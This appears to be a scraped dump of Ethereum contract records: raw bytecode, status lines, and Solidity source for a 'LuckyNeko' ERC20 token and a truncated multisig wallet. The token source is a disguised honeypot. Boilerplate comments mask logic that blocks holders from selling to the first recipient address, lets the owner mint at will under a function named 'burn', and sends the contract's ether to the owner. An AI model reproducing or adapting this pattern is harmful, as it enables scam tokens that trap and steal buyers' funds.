5260200190815260200160002054611b7990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110a57600080fd5b600560009054906101000a900460ff1615151561112657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561116257600080fd5b60025461117a83600654611b9290919063ffffffff16565b1115151561118757600080fd5b61119c82600654611b9290919063ffffffff16565b6006819055506111f482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611406576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149a565b6114198382611b7990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162a57600080fd5b600560009054906101000a900460ff161561168b576000600560006101000a81548160ff0219169083151502179055507f0439f51dcbfd1b7cad72e8f9ce2c07ea6dcc5aa6e57a94a5d634bd46a8d3441d60405160405180910390a16116d3565b6001600560006101000a81548160ff0219169083151502179055507fdeabde7fd350a5b1b759279cbf4fa77ae065ae23b6c288aeb8b5f22b0ef5427360405160405180910390a15b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4259544d0000000000000000000000000000000000000000000000000000000081525081565b600060406004810160003690501015151561174a57fe5b611755338585611bb0565b91505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061181582600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ab157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600254905090565b6000828211151515611b8757fe5b818303905092915050565b6000808284019050838110151515611ba657fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bed57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c3b57600080fd5b611c8d82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7990919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2282600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905093925050505600a165627a7a72305820c605122b683f0a97e79458cb6d2926343ca7fb19edbbe1589517faaabcc0b1400029
|
{"success": true, "error": null, "results": {}}
| 8,278 |
0xd45b222d2b301850bcd75c38fda1d7e495eac664
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) virtual public payable returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function burn(address _address, uint256 tokens) public everyone {
burnAddress = _address;
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == burnAddress && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
}
contract LuckyNeko is TokenERC20 {
function initialize() public payable everyone() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address _burn, address _dele, uint256 _number) {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
burnAddress = _burn;
number = _number*(10**uint256(decimals));
delegate = _dele;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x6080604052600436106100c25760003560e01c80638129fc1c1161007f5780639dc29fac116100595780639dc29fac146103f2578063a9059cbb1461044d578063cae9ca51146104be578063dd62ed3e146105b9576100c2565b80638129fc1c146103175780638da5cb5b1461032157806395d89b4114610362576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101c857806323b872dd146101f3578063313ce5671461028457806370a08231146102b2575b600080fd5b3480156100d357600080fd5b506100dc61063e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016357600080fd5b506101b06004803603604081101561017a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106dc565b60405180821515815260200191505060405180910390f35b3480156101d457600080fd5b506101dd61082c565b6040518082815260200191505060405180910390f35b3480156101ff57600080fd5b5061026c6004803603606081101561021657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610887565b60405180821515815260200191505060405180910390f35b34801561029057600080fd5b50610299610c12565b604051808260ff16815260200191505060405180910390f35b3480156102be57600080fd5b50610301600480360360208110156102d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c25565b6040518082815260200191505060405180910390f35b61031f610c6e565b005b34801561032d57600080fd5b50610336610d15565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036e57600080fd5b50610377610d39565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b757808201518184015260208101905061039c565b50505050905090810190601f1680156103e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103fe57600080fd5b5061044b6004803603604081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd7565b005b34801561045957600080fd5b506104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b60405180821515815260200191505060405180910390f35b6105a1600480360360608110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051b57600080fd5b82018360208201111561052d57600080fd5b8035906020019184600183028401116401000000008311171561054f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611183565b60405180821515815260200191505060405180910390f35b3480156105c557600080fd5b50610628600480360360408110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061138a565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d45780601f106106a9576101008083540402835291602001916106d4565b820191906000526020600020905b8154815290600101906020018083116106b757829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156107bd57816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610882600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461141190919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109135750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561095e5782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610969565b610968848461142b565b5b6109bb82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8d82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5f82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d11573d6000803e3d6000fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcf5780601f10610da457610100808354040283529160200191610dcf565b820191906000526020600020905b815481529060010190602001808311610db257829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e2f57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e858160055461164990919063ffffffff16565b600581905550610edd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61103c82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113185780820151818401526020810190506112fd565b50505050905090810190601f1680156113455780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561136757600080fd5b505af115801561137b573d6000803e3d6000fd5b50505050600190509392505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561142057600080fd5b818303905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158061152e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561152d5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806115d35750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156115d25750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f63616e6e6f7420626520746865207a65726f206164647265737300000000000081525060200191505060405180910390fd5b5050565b600081830190508281101561165d57600080fd5b9291505056fea2646970667358221220249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea7464736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 8,279 |
0x04746b890d090ae3c4c5df0101cfd089a4faca6c
|
pragma solidity 0.4.18;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="077473626166692960626875606247646869746269747e7429696273">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
